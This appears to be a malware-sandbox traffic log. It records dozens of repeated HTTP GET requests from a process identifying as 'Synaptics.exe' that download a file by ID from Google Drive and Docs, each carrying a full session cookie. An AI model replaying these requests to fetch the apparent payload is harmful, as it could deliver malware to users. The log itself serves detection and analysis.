Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
